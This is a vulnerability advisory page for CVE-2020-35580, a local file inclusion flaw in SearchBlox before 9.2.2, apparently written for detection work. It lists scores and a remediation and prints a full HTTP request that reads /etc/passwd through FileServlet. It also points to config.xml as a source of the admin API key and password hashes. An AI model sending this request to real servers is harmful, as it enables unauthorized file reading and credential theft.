🔙 목록으로 돌아가기

CVE-2020-35580: SearchBlox <9.2.2 - Local File Inclusion

TitleSearchBlox <9.2.2 - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
RemediationUpgrade to SearchBlox version 9.2.2 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.80044
CVE IDCVE-2020-35580
CWE IDCWE-22
Tags cve2020 cve lfi searchblox vkev vuln

🔍 Vulnerability Description

SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.

🌐 HTTP Request

GET /searchblox/servlet/FileServlet?col=9&url=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35580.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35580.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A